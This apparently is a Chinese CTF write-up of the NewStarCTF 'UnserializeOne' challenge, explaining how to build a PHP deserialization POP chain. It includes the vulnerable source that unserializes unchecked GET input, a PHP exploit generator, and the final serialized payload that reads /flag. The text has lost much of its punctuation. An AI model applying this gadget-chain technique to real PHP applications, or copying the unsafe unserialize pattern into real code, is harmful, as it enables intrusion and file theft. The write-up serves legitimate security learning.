
php反序列化之pop链的构造想复习一下之前学习的构造pop链于是我自己摘抄了一个题目UnserializeOne的源码, 来复习一下这个知识点题目源码?phperror_reporting(0);highlight_file(__FILE__);#Something useful for you : https://zhuanlan.zhihu.com/p/377676274classStart{public$name;protected$func;publicfunction__destruct(){echoWelcome to NewStarCTF, .$this-name;}publicfunction__isset($var){($this-func)();}}classSec{private$obj;private$var;publicfunction__toString(){$this-obj-check($this-var);returnCTFers;}publicfunction__invoke(){echofile_get_contents(/flag);}}classEasy{public$cla;publicfunction__call($fun,$var){$this-claclone$var[0];//这个类中是var会触发__clone方法var被克隆了}}classeeee{public$obj;publicfunction__clone(){if(isset($this-obj-cmd)){echosuccess;}}}if(isset($_GET[pop])){unserialize($_GET[pop]);}?这一道题涉及到很多的魔术方法例如__construct()类的构造函数__destruct()类的析构函数__call()在对象中调用一个不可访问方法时调用__callStatic()用静态方式中调用一个不可访问方法时调用__get()获得一个类的成员变量时调用__set()设置一个类的成员变量时调用__isset()当对不可访问属性调用isset()或empty()时调用__unset()当对不可访问属性调用unset()时被调用__sleep()执行serialize()时先会调用这个函数__wakeup()执行unserialize()时先会调用这个函数__toString()类被当成字符串时的回应方法__invoke()调用函数的方式调用一个对象时的回应方法__set_state()调用var_export()导出类时此静态方法会被调用__clone()当对象复制完成时调用__autoload()尝试加载未定义的类__debugInfo()打印所需调试信息由源码可知我们的最终目标调用Sec类中的__invoke()函数中的 echo file_get_contents(‘/flag’);这个语句____invoke()又是一个魔术方法有特定的触发条件所以我们可以由最终目标反推出有一个魔术方法构成的pop链反推pop链思路file_get_contents() —1…在Sec类的__invoke()方法里调用 —2.Start类里的__issett(方法里的this-func()可以触发____invoke() —3.eeee类里的__clone方法里的if (isset($this-obj-cmd))可以触发__isset() —4.Easy 类的call()方法里的$this—claclone $var [0]可以触发__clone—5.Sec类的toString()方法里的$this-obj-check($this-var)check是未定义方法可以触发__call()—6.Start 类的__destruct方法里的echo Welcome to NewStarCTF, . $this-name;可以触发toString()—7.__destruct可以理解为自动触发,所以我们直接生成Start类即可思考时是反推但我们写exp时就要正推同时各个类的变量属性我们可以改成public的(对于php版本7.1才可以我本地是7.3.4反序列化对象的某个属性时即使这个属性是private或protected遇到的是公有属性序列化字符串也会成功反序列化)方便些正推exp?phperror_reporting(0);//highlight_file(__FILE__);classStart{public$name;public$func;}classSec{public$obj;public$var;}classEasy{public$cla;}classeeee{public$obj;}$anewStart();//7.$a-namenewSec();//6$a-name-objnewEasy();//5$a-name-varneweeee();//4$a-name-var-objnewStart();//3$a-name-var-obj-funcnewSec();//21echoserialize($a);小易错点这里有一个小易错点,就是4为什么是$a-name-varnew eeee();而不是 $a-name-obj-cla new eeee()一开始我在里卡了好久后面想明白了publicfunction__call($fun,$var)//class Easy{$this-claclone$var[0];//这个类中是var会触发__clone方法var被克隆了}publicfunction__toString()//class Sec{$this-obj-check($this-var);returnCTFers;}在这里是var被克隆然后赋值给this−cla所以如果var 被克隆然后赋值给this-cla所以如果var被克隆然后赋值给this−cla所以如果var是一个对象就会触发__clone方法那为什么是clone $var [0]?因为在toString方法里调用了未定义方法check,从而触发__call在PHP中如果一个对象的类定义了__call方法而调用该对象的方法不存在时就会触发__call方法。在这种情况下传递给__call方法的参数将包含方法名原来未定义的方法的名字和参数数组,所以clone$var [0]就是克隆我们之前传入的Sec类里的变量$var即publicfunction__call($fun,$var){//$funcheck,$var[ Sec-var]$this-claclone$var[0];//这个类中是var会触发__clone方法var被克隆了}exp运行结果构造payload/?popO:5:Start:2:{s:4:name;O:3:Sec:2:{s:3:obj;O:4:Easy:1:{s:3:cla;N;}s:3:var;O:4:eeee:1:{s:3:obj;O:5:Start:2:{s:4:name;N;s:4:func;O:3:Sec:2:{s:3:obj;N;s:3:var;N;}}}}s:4:func;N;}结果: